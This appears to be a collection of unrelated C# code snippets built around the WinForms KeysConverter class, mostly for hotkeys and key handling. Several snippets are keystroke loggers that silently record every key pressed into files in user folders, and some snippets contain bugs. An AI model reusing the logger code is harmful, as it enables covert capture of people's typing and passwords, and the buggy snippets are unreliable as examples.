private void button_Up(object sender, EventArgs e) { try { var keyEvent = e as KeyEventArgs; var keysConverter = new KeysConverter(); var key = keysConverter.ConvertToString(keyEvent.KeyData); if (key != "1" || key != "2" || key != "3" || key != "4" || key != "5" || key != "6" || key != "7") { Sound.StopSound(); } } catch (Exception) { Sound.StopSound(); } }
private static HashSet <Keys> KeysFromString(string keys) { var cult = Thread.CurrentThread.CurrentUICulture; Thread.CurrentThread.CurrentUICulture = CultureInfo.InvariantCulture; var kc = new KeysConverter(); var result = new HashSet <Keys>( keys .Split(',') .Select(s => s.Trim()) .Select(kc.ConvertFromString) .Cast <Keys>() .ToList()); Thread.CurrentThread.CurrentUICulture = cult; return(result); }
private void richTextBox1_KeyDown(object sender, KeyEventArgs e) { if (e.Modifiers == Keys.None) { KeysConverter kc = new KeysConverter(); textBox1.Text += kc.ConvertToString(keypressedinrtb); e.Handled = true; e.SuppressKeyPress = true; textBox1.Focus(); this.richTextBox1.SelectionStart = this.richTextBox1.Text.Length; richTextBox1.ScrollToCaret(); this.textBox1.SelectionStart = this.textBox1.Text.Length; textBox1.ScrollToCaret(); } }
private void Form1_KeyUp_1(object sender, KeyEventArgs e) { KeysConverter kc = new KeysConverter(); string keyChar = kc.ConvertToString(e.KeyData); foreach (char c in keyChar) { try { Button b = buttonDic[c]; b.BackColor = Color.White; } catch (KeyNotFoundException ex) { } } End(); }
internal static void ToKeyMsg(this NSEvent e, out Msg msg, out IntPtr wParam, out IntPtr lParam) { var key = KeysConverter.GetKeys(e); var isExtendedKey = XplatUICocoa.IsCtrlDown || XplatUICocoa.IsCmdDown || e.Characters.Length == 0 || !KeysConverter.IsChar(e.Characters[0], key) && KeysConverter.DeadKeyState == 0; ulong lp = 0; lp |= e.IsARepeat ? 1ul : 0ul; lp |= ((ulong)e.KeyCode) << 16; // OEM-dependent scanCode lp |= (isExtendedKey ? 1ul : 0ul) << 24; lp |= (e.IsARepeat ? 1ul : 0ul) << 30; lParam = (IntPtr)lp; wParam = (IntPtr)key; var isSysKey = false; // altDown && !cmdDown msg = isSysKey ? (e.Type == NSEventType.KeyDown ? Msg.WM_SYSKEYDOWN : Msg.WM_SYSKEYUP) : (e.Type == NSEventType.KeyDown ? Msg.WM_KEYDOWN : Msg.WM_KEYUP); }
//Keylogger process static void LogKeys() { //file path String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); filepath = filepath + @"\LogsFolder\"; //Verify that file exists if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + "LoggerKeys"); if (!File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { // } } KeysConverter converter = new KeysConverter(); string text = ""; while (5 > 1) { Thread.Sleep(10); for (Int32 i = 0; i < 2000; i++) { int key = GetAsyncKeyState(i); if (key == 1 || key == -32767) { text = converter.ConvertToString(i); using (StreamWriter w = File.AppendText(path)) { w.WriteLine(text); } } } } }
public void AddUnformatted(String unformattedText) { // szétszedjük String[] splitted = unformattedText.Split('+'); // ha invalid akkor nem csinálunk semmit if (splitted.Length == 0 || (splitted.Length > 0 && splitted[0] == "")) { return; } // eltüntetjük belőle a szóközöket for (int i = 0; i < splitted.Length; i++) { splitted[i] = splitted[i].Trim(); } KeysConverter converter = new KeysConverter(); // megkeressük a gombokat és hozzáadjuk for (int i = 0; i < splitted.Length; i++) { try { Keys button = (Keys)converter.ConvertFromString(splitted[i]); this.Add(button); } catch (Exception ex) { String message = ""; message += "Error during convert!\n"; message += "Exception caught! Exception Type: : \t" + ex.GetType().ToString() + "\n"; message += "Exception message:\n"; message += ex.Message; if (ex.InnerException != null) { message += "Inner Exception Type: : \t" + ex.InnerException.GetType().ToString() + "\n"; message += "Inner Exception message:\n"; message += ex.InnerException.Message; } MessageBox.Show(message); } } }
private void OnKey(int keyCode) { if (m_formActive) { switch (keyCode) { case 37: // left arrow { displayKey.Text = "Left"; m_form.moveLeftToolStripMenuItem_Click(null, null); break; } case 38: // up arrow { displayKey.Text = "Up"; m_form.moveUpToolStripMenuItem_Click(null, null); break; } case 39: // right arrow { displayKey.Text = "Right"; m_form.moveRightToolStripMenuItem_Click(null, null); break; } case 40: // down arrow { displayKey.Text = "Down"; m_form.moveDownToolStripMenuItem_Click(null, null); break; } default: { KeysConverter kc = new KeysConverter(); displayKey.Text = kc.ConvertToString(keyCode); //keyCode.ToString(); // m_form.sendCommand("2", "17", keyCode.ToString(), "0"); break; } } } }
public override string ToString() { var cult = Thread.CurrentThread.CurrentUICulture; Thread.CurrentThread.CurrentUICulture = CultureInfo.InvariantCulture; var sb = new StringBuilder(); var kc = new KeysConverter(); foreach (var pair in this) { sb.AppendFormat("{0}={1}, ", kc.ConvertToString(pair.Key), pair.Value); } if (sb.Length > 1) { sb.Remove(sb.Length - 2, 2); } Thread.CurrentThread.CurrentUICulture = cult; return(sb.ToString()); }
private void dataGridView1_CellClick(object sender, DataGridViewCellEventArgs e) { if (e.ColumnIndex == 0) { Keys k = Forms.Settings.GetHotkey.GetKey(); dataGridView1[0, e.RowIndex].Value = k.ToString(); } if (e.ColumnIndex == 2) { var ch1 = dataGridView1[e.ColumnIndex, e.RowIndex]; if (ch1.Value == null) { ch1.Value = false; } switch (ch1.Value.ToString()) { case "True": ch1.Value = false; break; case "False": ch1.Value = true; break; } KeysConverter kc = new KeysConverter(); string keyString = (string)dataGridView1[0, e.RowIndex].Value; if (keyString != null) { object o = kc.ConvertFromString(keyString); Keys keyCode = (Keys)o; if (Convert.ToBoolean(ch1.Value) == true) { KeyboardHook.AddKeyDown(keyCode, () => PreformScript(e.RowIndex)); } else { KeyboardHook.RemoveDown(keyCode); } } } }
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); if (Control.ModifierKeys == (Keys.Shift | Keys.Control)) { KeysConverter kc = new KeysConverter(); deviateToOutput(kc.ConvertToString(vkCode)); } } else { deviateToOutput("None"); } return(CallNextHookEx(_hookID, nCode, wParam, lParam)); }
private void setKeybind(string bindSeting, string bindModifier, ref KeyboardHook kh) { KeysConverter kconv = new KeysConverter(); if (getKeyFromSettings(bindSeting) != null) { if (getModifierFromSettings(bindModifier) != 0) { ModifierKeys modifier = (ModifierKeys)getModifierFromSettings(bindModifier); Keys bind = (Keys)kconv.ConvertFromString(getKeyFromSettings(bindSeting)); kh.RegisterHotKey(modifier, bind); } else { Keys bind = (Keys)kconv.ConvertFromString(getKeyFromSettings(bindSeting)); kh.RegisterHotKey(0, bind); } } }
static void LogKeys() { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); filepath = filepath + @"\LogsFolder\"; if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (@filepath + "LoggedKeys.text"); if (!File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } //end } KeysConverter converter = new KeysConverter(); string text = ""; while (5 > 1) { Thread.Sleep(10); for (Int32 i = 0; i < 2000; i++) { int key = GetAsyncKeyState(i); if (key == 1 || key == -32767) { text = converter.ConvertToString(i); using (StreamWriter sw = File.AppendText(path)) { sw.WriteLine(text); } break; } } } }
private static IntPtr hookProc(int nCode, IntPtr wParam, IntPtr lParam) { //обработка нажатия if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { if (wtc == null || (wtc != null && wtc.Check())) { int vkCode = Marshal.ReadInt32(lParam); KeysConverter keysConverter = new KeysConverter(); Log.ToFile(keysConverter.ConvertToString(vkCode) + " "); } return((IntPtr)0); } else { return(CallNextHookEx(hhook, nCode, (int)wParam, lParam)); } }
public static void Save() { try { StringBuilder sb = new StringBuilder(); KeysConverter kc = new KeysConverter(); for (OPMShortcut cmd = CmdFirst; cmd < CmdLast; cmd++) { sb.AppendLine(string.Format("{0};{1};{2}", cmd, kc.ConvertToInvariantString(keyCommands[(int)cmd].KeyData), kc.ConvertToInvariantString(altKeyCommands[(int)cmd].KeyData))); } PersistenceProxy.SaveObject(true, "Keymap", sb.ToString()); } catch { } }
private void Form1_Load(object sender, EventArgs e) { MidiPlayer.OpenMidi(); //Iniciem el objecte MIDI comboBox1.DataSource = Enum.GetValues(typeof(GeneralMidiInstruments)); //Carreguem la llista de 128 instruments MidiPlayer.Play(new ProgramChange(0, canal, GeneralMidiInstruments.AcousticGrand)); //Seleccionem el instrument per defecte del ComboBox tecla_notes = new Dictionary <string, string>(); //Inicialitzem diccionari associatiu tecla_notes.Add("Q", "C4"); //Afegim les 15 notes, 2 octaves (4, 5 i Do de octava 6) tecla_notes.Add("W", "D4"); tecla_notes.Add("E", "E4"); tecla_notes.Add("R", "F4"); tecla_notes.Add("T", "G4"); tecla_notes.Add("Y", "A4"); tecla_notes.Add("U", "B4"); tecla_notes.Add("I", "C5"); tecla_notes.Add("O", "D5"); tecla_notes.Add("P", "E5"); tecla_notes.Add("G", "F5"); tecla_notes.Add("H", "G5"); tecla_notes.Add("J", "A5"); tecla_notes.Add("K", "B5"); tecla_notes.Add("L", "C6"); tecla_notes.Add("1", "C#4"); tecla_notes.Add("2", "D#4"); tecla_notes.Add("3", "F#4"); tecla_notes.Add("4", "G#4"); tecla_notes.Add("5", "A#4"); tecla_notes.Add("6", "C#5"); tecla_notes.Add("7", "D#5"); tecla_notes.Add("8", "F#5"); tecla_notes.Add("9", "G#5"); tecla_notes.Add("0", "A#5"); kc = new KeysConverter();//Inicialitzem parser de tecles //Afegim a cada botó un event MouseDown i MouseUp foreach (Control item in this.Controls) { if (item is Button) { item.MouseDown += new MouseEventHandler(tocarNota_mouseDown); item.MouseUp += new MouseEventHandler(soltarNota_mouseUp); } } tecles = new List <string>();//Inicialitzem List }
public override string ToString() { Keys key = GetKey(); if (key == Keys.None) { return(string.Empty); } else { KeysConverter kc = new KeysConverter(); string str = kc.ConvertToString(key); if (oemKeyFix.ContainsKey(str)) { str = oemKeyFix[str]; } return(str); } }
private void LoadHotKey() { KeysConverter kc = new KeysConverter(); #if DEBUG Console.WriteLine("LoadHotKey"); Console.WriteLine("RunModKeys:{0}", Properties.HotKey.Default.RunModKey); Console.WriteLine("RunKeys:{0}", Properties.HotKey.Default.RunKeys); #endif uint modkey = Properties.HotKey.Default.RunModKey; string runkey = Properties.HotKey.Default.RunKeys; if ((modkey != 0) && (runkey != "") && (runkey != null)) { txtRunSetting.Text = HotKey.GetHotkeyMessage(modkey, (Keys)kc.ConvertFrom(runkey)); chkRunEnable.Enabled = true; } else { txtRunSetting.Text = "設定なし"; chkRunEnable.Enabled = false; } #if DEBUG Console.WriteLine("RunNowModKeys:{0}", Properties.HotKey.Default.RunNowModKey); Console.WriteLine("RunNowKeys:{0}", Properties.HotKey.Default.RunNowKeys); #endif modkey = Properties.HotKey.Default.RunNowModKey; runkey = Properties.HotKey.Default.RunNowKeys; if ((modkey != 0) && (runkey != "") && (runkey != null)) { txtRunNowSetting.Text = HotKey.GetHotkeyMessage(Properties.HotKey.Default.RunNowModKey, (Keys)kc.ConvertFrom(Properties.HotKey.Default.RunNowKeys)); chkRunNowEnable.Enabled = true; } else { txtRunNowSetting.Text = "設定なし"; chkRunNowEnable.Enabled = false; } }
public void MethodName(string shortcut) { KeysConverter kc = new KeysConverter(); // kc.ConvertFrom() // using var application = WindowsModule().Application; // var detailView = application.NewDetailView(typeof(W)); // detailView.CurrentObject = detailView.ObjectSpace.CreateObject<W>(); // var window = application.CreateViewWindow(); // window.SetView(detailView); // var saveAction = window.GetController<ModificationsController>().SaveAction; // saveAction.Model.Shortcut = shortcut; // var testObserver = saveAction.WhenExecuted().Test(); // // // var virtualKeys = (Win32Constants.VirtualKeys)saveAction.Keys(); // var inputSimulator = new InputSimulator(); // inputSimulator.Keyboard.KeyPress(Win32Constants.VirtualKeys.S); // // testObserver.AwaitDone(Timeout).ItemCount.ShouldBe(1); }
static void Main(string[] args) { string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); folderPath = folderPath + @"\LogsFolders\"; if (!Directory.Exists(folderPath)) { Directory.CreateDirectory(folderPath); } string filePath = (folderPath + @"LoggedKeys.txt"); if (!File.Exists(filePath)) { using (StreamWriter sw = File.CreateText(filePath)) { } } KeysConverter converter = new KeysConverter(); string text = ""; while (true) { Thread.Sleep(20); for (Int32 i = 1; i < 2000; i++) { int key = GetAsyncKeyState(i); if (key == 1 || key == -32767) { text = converter.ConvertToString(i); using (StreamWriter sw = File.AppendText(filePath)) { sw.WriteLine(text); } break; } } } }
/// <summary> /// Where the main things happen... /// </summary> public override void Process() { base.Process(); if (A1.IsDead) { End(); } GameFiber.StartNew(delegate { { //A keys converter is used to convert a string to a key. KeysConverter kc = new KeysConverter(); //We create two variables: one is a System.Windows.Keys, the other is a string. Keys EndCalloutKey; //Use a try/catch, because reading values from files is risky: we can never be sure what we're going to get and we don't want our plugin to crash. try { //We assign myKeyBinding the value of the string read by the method getMyKeyBinding(). We then use the kc.ConvertFromString method to convert this to a key. //If the string does not represent a valid key (see .ini file for a link) an exception is thrown. That's why we need a try/catch. EndCalloutKey = (Keys)kc.ConvertFromString(getEndKey()); GameFiber.Wait(5000); Game.DisplayHelp("You can end the callout by pressing ~b~" + EndCalloutKey + "~w~."); } //If there was an error reading the values, we set them to their defaults. We also let the user know via a notification. catch { EndCalloutKey = Keys.End; Game.DisplayNotification("There was an error reading the .ini file. Setting defaults..."); } if (Game.IsKeyDown(EndCalloutKey)) { this.End(); } } }, "keyCheckerForLooseAnimal"); }
private Hotkey ResolveHotkeyNew(KeyEventArgs e, string name) { var converter = new KeysConverter(); var keyString = converter.ConvertToString(e.KeyCode); switch (e.KeyCode) { case Keys.Escape: return(new Hotkey { HotkeyString = "Not Set", Name = name, Unset = true }); // Ignore modifier only case Keys.Shift: case Keys.ShiftKey: case Keys.Control: case Keys.ControlKey: case Keys.Alt: case Keys.Menu: case Keys.LWin: case Keys.RWin: case Keys.LMenu: case Keys.RMenu: return(new Hotkey { Invalid = true }); } if (e.Modifiers != Keys.None) { keyString = $"{e.Modifiers}+{keyString}"; } return(new Hotkey() { Key = e.KeyCode, Modifiers = e.Modifiers, HotkeyString = keyString, Name = name }); }
private void txtPowerShellOutput_KeyUp(object sender, KeyEventArgs e) { if (e.KeyData == (Keys.Control | Keys.C)) { e.SuppressKeyPress = true; CtrlCPressed(this, e); PowerShellConsolePrinter.OnCtrlC(this, e); } else if (PowerShellConsolePrinter.WaitForKey) { char key = new KeysConverter().ConvertToString(e.KeyData)[0]; PowerShellConsolePrinter.PerformKeyPressedHandler(this, new KeyPressEventArgs(key)); } else if (e.KeyData == Keys.Enter) { EnterKeyHandler(this, e); PowerShellConsolePrinter.OnEnter(this, e); } }
static Dictionary <Keys, string> GetDictionary() { string file = GlobalSettings.SettingsDir + "User.ynotekeys"; if (File.Exists(file)) { Dictionary <Keys, string> dictionary = new Dictionary <Keys, string>(); var converter = new KeysConverter(); string[] lines = File.ReadAllLines(file); foreach (string line in lines) { string[] items = line.Split('='); var keys = (Keys)converter.ConvertFromString(items[0]); dictionary.Add(keys, items[1]); } return(dictionary); } return(null); }
public static Keys ComputerKey() { var ini = InitializeIni(); var converter = new KeysConverter(); var value = ini.ReadString("KeyBindings", "ComputerKey", "D1"); Keys cKey; try { cKey = (Keys)converter.ConvertFromString(value); } catch { cKey = Keys.D1; Game.DisplayNotification("[LSN] It looks like an ~r~incorrect key~w~ was selected for ComputerKey. Please check that next time you restart. Defaults being used now..."); } return(cKey); }
/// <summary> /// 根据string生成KeyEventArgs /// </summary> /// <param name="strKey"></param> /// <returns></returns> public static KeyEventArgs GetKeyByString(string strKey) { Keys keyResult = new Keys(); string[] strKeyCodes = strKey.Split('+'); if (strKeyCodes.Length > 0) { int numberKey; foreach (string keyEach in strKeyCodes) { if (keyEach.Trim().ToUpper() == "CTRL") { keyResult = keyResult | Keys.Control; } else if (keyEach.Trim().ToUpper() == "SHIFT") { keyResult = keyResult | Keys.Shift; } else if (keyEach.Trim().ToUpper() == "ALT") { keyResult = keyResult | Keys.Alt; } //数字 else if (int.TryParse(keyEach, out numberKey)) { KeysConverter converter = new KeysConverter(); Keys getKey = (Keys)converter.ConvertFromString(keyEach); keyResult = keyResult | getKey; } //其他(字母,F0-F12) else { KeysConverter converter = new KeysConverter(); Keys getKey = (Keys)converter.ConvertFromString(keyEach); keyResult = keyResult | getKey; } } } KeyEventArgs newEventArgs = new KeyEventArgs(keyResult); return(newEventArgs); }
protected override void SendRequestInternal(string request) { string[] args = StringUtils.ToStringArray(request, ','); string keyCode = "", repeat = "", command = "", windowName = "", remoteName = ""; int i = 0; if (args.Length > i) { keyCode = args[i++]; } if (args.Length > i) { repeat = args[i++]; } if (args.Length > i) { command = args[i++]; } if (args.Length > i) { windowName = args[i++]; } if (args.Length > i) { remoteName = args[i++]; } IntPtr hWnd = User32.FindWindow(windowName, null); if (hWnd != IntPtr.Zero) { KeysConverter kc = new KeysConverter(); Keys k = (Keys)kc.ConvertFromInvariantString(command); KeyEventArgs kea = new KeyEventArgs(k); // Key down int msg = (int)Messages.WM_KEYDOWN; User32.PostMessage(hWnd, msg, kea.KeyValue, 0); } }
static void logs() { var filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos); // Your file path filepath += @"\logsfolder"; // folder file if (Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } var path = (@filepath + "logskey.text"); // Your file name if (File.Exists(path)) { using (var sw = File.CreateText(path)) { } var converter = new KeysConverter(); var text = ""; while (5 > 1) { Thread.Sleep(5); for (var i = 0; i < 2000; i++) { var key = GetAsyncAwaitState(i); if (key == 1 || key == -32767) { text = converter.ConvertToString(i); using (var sw = File.AppendText(path)) { sw.WriteLine(text); } break; } } } } }
private void checkShow_KeyPress(object sender, KeyPressEventArgs e) { KeysConverter kc = new KeysConverter(); try { arbitraryStringName.Append(e.KeyChar); } catch (Exception ex) { //fail VERY silently. Mwa Ha Ha. } if (arbitraryStringName.ToString().EndsWith("X")) //Clear string if (upper case) 'X' is pressed. { arbitraryStringName.Clear(); } if (arbitraryStringName.ToString() == "open" || arbitraryStringName.ToString() == "There is no cow level") { FormEcwDiagAdv FormECWA = new FormEcwDiagAdv(); FormECWA.ShowDialog(); } }
private void SetHotkey() { KeysConverter convert = new KeysConverter(); MOD_KEY modKeys = 0; if (MainIni.UseAlt) { modKeys |= MOD_KEY.ALT; } if (MainIni.UseCtrl) { modKeys |= MOD_KEY.CONTROL; } if (MainIni.UseShift) { modKeys |= MOD_KEY.SHIFT; } hotKey = new HotKey(modKeys, (Keys)convert.ConvertFromString(MainIni.ShortcutKey)); hotKey.HotKeyPush += new EventHandler(ImageCapButton_Click); }